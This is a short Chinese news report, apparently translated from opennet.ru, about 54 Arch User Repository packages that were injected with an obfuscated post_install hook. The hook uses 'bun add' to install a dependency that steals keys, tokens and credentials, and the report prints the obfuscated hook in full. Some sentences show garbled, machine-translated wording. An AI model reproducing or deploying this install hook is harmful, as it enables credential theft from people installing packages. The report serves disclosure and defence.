尽管 Arch 开发商采取了措施 Linux针对 AUR（Arch 用户仓库）的恶意代码注入活动尚未停止。几个小时前，又有 54 个无人维护的软件包被植入恶意代码（恶意编辑记录已被回滚）。与前天的攻击不同，这次攻击者没有使用 npm 包管理器，而是利用 bun 平台来安装恶意依赖项。为了绕过已实现的过滤器，攻击者在 post_install 函数中插入了一段混淆的字符串，调用了“bun add”命令来安装带有恶意代码的软件包。这些恶意代码会扫描软件包并将其发送到外部服务器。 服务器 密钥、令牌和凭证。
post_install() {
$'\x63′"d" "/"'t'"m"'p' && "b"u"n' 'a'"d"'d' $'\141\x6e"s'"i""-"$'\143"o"l"o"r'$'\x73′ 'n'"e"'x'"t""f"'i"l"e"-"j"s'
}
来源： opennet.ru
